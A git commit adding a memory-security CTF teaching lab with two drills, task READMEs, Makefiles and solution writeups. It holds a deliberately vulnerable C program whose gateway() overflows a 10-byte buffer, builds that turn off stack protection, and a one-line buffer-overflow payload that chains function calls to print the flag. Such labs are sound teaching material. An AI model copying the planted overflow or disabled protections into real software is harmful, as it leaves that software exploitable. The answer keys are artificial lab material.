chapters/memory-security/ctf: Add CTF lab

This commit adds the adapted material, including references and sentence
rephrasing for enhanced readability, as well as solution writeups.

Signed-off-by: Dimitrie Valu <[email protected]>

chapters/memory-security/ctf/drills/tasks/feeling-chained/README.md

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+# Feeling Chained
+
+Follow the sequence of operations in the functions of the binary at `feeling-chained/support/buff-ovf3`.
+Identify the necessary ones and... you already know how to call them.
+
+If you cannot find your way through this exercise, look for variables that you need to overwrite with specific values in order to finish the exploit, and think of their positioning on the stack.
+The previously mentioned [online example](https://medium.com/@0x-Singularity/exploit-tutorial-understanding-buffer-overflows-d017108edc85) is still highly relevant.

chapters/memory-security/ctf/drills/tasks/feeling-chained/solution/Makefile

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+all: buff-ovf3
+
+buff-ovf3: buff-ovf3.o
+	gcc -no-pie -m32 buff-ovf3.o -o buff-ovf3
+
+buff-ovf3.o: buff-ovf3.c
+	gcc -g -m32 -z execstack -fno-PIC -fno-stack-protector -c buff-ovf3.c
+
+clean:
+	rm -rf buff-ovf3.o buff-ovf3

chapters/memory-security/ctf/drills/tasks/feeling-chained/solution/README.md

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+# Solution
+
+By using the buffer overflow in `gateway()`, functions `f1(56, 13)` and `f3(13)` need to be called in this order, with those exact parameters.
+`f3` is the one that actually calls `get_flag()`.
+Calling `get_flag()` directly shouldn't work (a global variable is checked to make sure all steps were made).
+
+```sh
+python3 -c 'import sys; sys.stdout.buffer.write(b"A"*22 + b"\x0c\x87\x04\x08" + b"\xb7\x86\x04\x08" + b"\x38\x00\x00\x00" + b"\x0d\x00\x00\x00")' | ./buff-ovf3
+```

chapters/memory-security/ctf/drills/tasks/feeling-chained/solution/buff-ovf3.c

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+// SPDX-License-Identifier: BSD-3-Clause
+
+#include <stdlib.h>
+#include <stdio.h>
+#include <string.h>
+
+#define MAXC 1000
+
+static int my_global_var;
+static int my_other_global_var;
+
+void get_flag(void)
+{
+	const int start_offset = 5;
+	unsigned int seed = 42;
+
+	if (my_other_global_var != 0x7890) {
+		printf("You're cheating, mate. Try harder\n");
+		return;
+	}
+	/* Here goes the obfuscated flag outputed by obfuscate.c */
+	char *flag = "\x66\x3b\x70\x76\x76\x16\x2f\x4b\x38\x60\x4b\x31\x52\x5a\x4a\x37"
+			 "\x20\x6c\x24\x21\x49\x5c\x08\x45\x41\x58\x39\x40\x35\x6f\x25\x43"
+			 "\x31\x70\x6d\x71\x56\x1e\x0a\x11\x32\x61\x07\x64\x25\x0b\x4c\x31"
+			 "\x0b\x43\x07\x0f\x7c\x4c\x0a\x6b\x37\x1d\x6c\x09\x70\x6a\x54\x5b"
+			 "\x2d\x5d\x1a\x46\x31\x70\x24\x2b\x51\x2c\x6d\x06\x16\x47\x70\x4b"
+			 "\x71";
+
+	int i = 0;
+	int iflag = 0;
+	int garbage;
+	char *res = (char *)malloc(MAXC);
+
+	while (flag[iflag]) {
+		garbage = rand_r(&seed) % 5;
+		while (garbage--) {
+			rand_r(&seed);
+			++iflag;
+		}
+		res[i++] = (flag[iflag] - 1) ^ ((start_offset + iflag) % 128) ^ (rand_r(&seed) % 128);
+		++iflag;
+	}
+	res[i] = 0;
+
+	puts(res);
+}
+
+void f3(int x)
+{
+	if (x == 13 && my_global_var == 0x1234) {
+		my_other_global_var = 0x7890;
+		get_flag();
+	} else {
+		printf("You missed something\n");
+	}
+}
+
+void f2(void)
+{
+	printf("I dont do nothing\n");
+}
+
+void f1(int a, int b)
+{
+	if (a + b == 69) {
+		printf("You're doing great\n");
+		my_global_var = 0x1234;
+	} else {
+		printf("You got the params wrong\n");
+	}
+}
+
+void gateway(void)
+{
+	char buff1[10];
+
+	fgets(buff1, 300, stdin);
+}
+
+int main(void)
+{
+	gateway();
+
+	return 0;
+}

chapters/memory-security/ctf/drills/tasks/feeling-chained/solution/deobfuscator.c

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+// SPDX-License-Identifier: BSD-3-Clause
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#define MAXC 1000
+
+void hex_to_bytes(const char *hex_str, unsigned char *bytes, int *len)
+{
+	const char *pos = hex_str;
+	*len = 0;
+
+	int ret;
+
+	while (*pos && *(pos + 1)) {
+		if (*pos == '\\' && *(pos + 1) == 'x') {
+			ret = sscanf(pos + 2, "%2hhx", &bytes[*len]);
+			if (ret != 1)
+				exit(EXIT_FAILURE);
+			(*len)++;
+			pos += 4;
+		} else {
+			pos++;
+		}
+	}
+}
+
+void get_flag(unsigned char *flag, int len)
+{
+	const int start_offset = 5;
+	unsigned int seed = 42;
+	int i = 0, iflag = 0, garbage;
+	unsigned char *res = (unsigned char *) malloc(MAXC);
+
+	while (iflag < len) {
+		garbage = rand_r(&seed) % 5;
+		while (garbage--) {
+			rand_r(&seed);
+			++iflag;
+		}
+
+		res[i++] = (flag[iflag] - 1) ^ ((start_offset + iflag) % 128) ^ (rand_r(&seed) % 128);
+		++iflag;
+	}
+	res[i] = 0;
+
+	puts((const char *)res);
+	free(res);
+}
+
+int main(void)
+{
+	char hex_input[MAXC];
+	unsigned char flag[MAXC];
+	int len;
+
+	printf("Enter the obfuscated flag (e.g. \\x66\\x3b...): ");
+	fgets(hex_input, MAXC, stdin);
+
+	hex_to_bytes(hex_input, flag, &len);
+
+	get_flag(flag, len);
+
+	return 0;
+}

chapters/memory-security/ctf/drills/tasks/feeling-chained/solution/obfuscator.c

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+// SPDX-License-Identifier: BSD-3-Clause
+
+#include <stdio.h>
+#include <stdlib.h>
+#define MAXC 1000
+
+const int start_offset = 5;
+unsigned int seed = 42;
+
+unsigned char *obfuscate(unsigned char *s)
+{
+	int i = 0;
+	int garbage;
+	unsigned char *res = (unsigned char *) malloc(10 * MAXC);
+
+	while (*s) {
+		garbage = rand_r(&seed) % 5;
+		while (garbage--)
+			res[i++] = rand_r(&seed) % 127 + 1;
+		res[i] = ((*s) ^ ((start_offset + i) % 128) ^ (rand_r(&seed) % 128)) + 1;
+		++i;
+		++s;
+	}
+	res[i] = 0;
+
+	return res;
+}
+
+int main(void)
+{
+	unsigned char s[MAXC];
+
+	scanf("%s", s);
+
+	unsigned char *sObfuscated = obfuscate(s);
+	unsigned char *p = sObfuscated;
+
+	while (*p) {
+		printf("\\x%02x", *p);
+		++p;
+	}
+
+	free(sObfuscated);
+
+	return 0;
+}

chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-1/README.md

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+# Hidden in Plain Sight
+
+The `hidden-in-plain-sight-1/support/link` binary provides everything you need.
+Find a way to use it.
+> **TIP:** If you want a main function to be done right, you gotta do it yourself.
+
+If you are having trouble solving this exercise, check [this](https://stackoverflow.com/questions/15441877/how-do-i-link-object-files-in-c-fails-with-undefined-symbols-for-architecture).

chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-1/solution/Makefile

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+all: a.out
+
+a.out: link main.o
+	gcc -no-pie -m32 link main.o -o a.out
+
+link: link.c
+	gcc -g -m32 -z execstack -fno-PIC -fno-stack-protector -c -o link link.c
+
+main.o: main.c
+	gcc -g -m32 -z execstack -fno-PIC -fno-stack-protector -c main.c
+
+clean:
+	rm -rf link main.o a.out

chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-1/solution/README.md

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+# Solution
+
+Looking at the disassembly of the `link` binary, it is noticeable that there is no `main()` function.
+This is a clear indicator that we have to find a way to call it ourselves.
+
+We define a `get_flag()` function prototype as void (you may be able to skip this step, but there will be an implicit declaration error during compilation) and we call it in our main function.
+We then compile and assemble the file:
+`gcc -g -m32 -fno-PIC -c main.c`
+
+We then link it to the `link` binary:
+`gcc -no-pie -m32 link main.o -o a.out`

chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-1/solution/deobfuscator.c

@@ -0,0 +1,65 @@
+// SPDX-License-Identifier: BSD-3-Clause
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#define MAXC 1000
+
+void hex_to_bytes(const char *hex_str, unsigned char *bytes, int *len)
+{
+	const char *pos = hex_str;
+	*len = 0;
+
+	int ret;
+
+	while (*pos && *(pos + 1)) {
+		if (*pos == '\\' && *(pos + 1) == 'x') {
+			ret = sscanf(pos + 2, "%2hhx", &bytes[*len]);
+			if (ret != 1)
+				exit(EXIT_FAILURE);
+			(*len)++;
+			pos += 4;
+		} else {
+			pos++;
+		}
+	}
+}
+
+void get_flag(unsigned char *flag, int len)
+{
+	const int start_offset = 5;
+	unsigned int seed = 42;
+	int i = 0, iflag = 0, garbage;
+	unsigned char *res = (unsigned char *) malloc(MAXC);
+
+	while (iflag < len) {
+		garbage = rand_r(&seed) % 5;
+		while (garbage--) {
+			rand_r(&seed);
+			++iflag;
+		}
+
+		res[i++] = (flag[iflag] - 1) ^ ((start_offset + iflag) % 128) ^ (rand_r(&seed) % 128);
+		++iflag;
+	}
+	res[i] = 0;
+
+	puts((const char *)res);
+	free(res);
+}
+
+int main(void)
+{
+	char hex_input[MAXC];
+	unsigned char flag[MAXC];
+	int len;
+
+	printf("Enter the obfuscated flag (e.g. \\x66\\x3b...): ");
+	fgets(hex_input, MAXC, stdin);
+
+	hex_to_bytes(hex_input, flag, &len);
+
+	get_flag(flag, len);
+
+	return 0;
+}

chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-1/solution/link.c

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+// SPDX-License-Identifier: BSD-3-Clause
+
+#include <stdio.h>
+#include <stdlib.h>
+#define MAXC 1000
+
+void get_flag(void)
+{
+	const int start_offset = 5;
+	unsigned int seed = 42;
+
+	/* Here goes the obfuscated flag outputed by obfuscate.c */
+	char *flag = "\x66\x3b\x70\x76\x76\x16\x2f\x4b\x38\x60\x4b\x31\x52\x5a\x5a\x37"
+			 "\x20\x6a\x24\x21\x49\x72\x08\x45\x41\x1a\x25\x40\x35\x55\x25\x43"
+			 "\x1c\x70\x6d\x7a\x56\x1e\x0a\x11\x0c\x61\x07\x64\x0d\x08\x51\x31"
+			 "\x0b\x43\x07\x1e\x7c\x53\x0a\x52\x37\x59\x6c\x09\x70\x54\x54\x61"
+		 "\x2d\x5d\x1a\x46\x35\x70\x24\x2b\x60";
+
+	int i = 0;
+	int iflag = 0;
+	int garbage;
+	char *res = (char *)malloc(MAXC);
+
+	while (flag[iflag]) {
+		garbage = rand_r(&seed) % 5;
+		while (garbage--) {
+			rand_r(&seed);
+			++iflag;
+		}
+		res[i++] = (flag[iflag] - 1) ^ ((start_offset + iflag) % 128) ^ (rand_r(&seed) % 128);
+		++iflag;
+	}
+	res[i] = 0;
+
+	puts(res);
+}

chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-1/solution/main.c

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+// SPDX-License-Identifier: BSD-3-Clause
+
+void get_flag(void);
+
+int main(void)
+{
+	get_flag();
+	return 0;
+}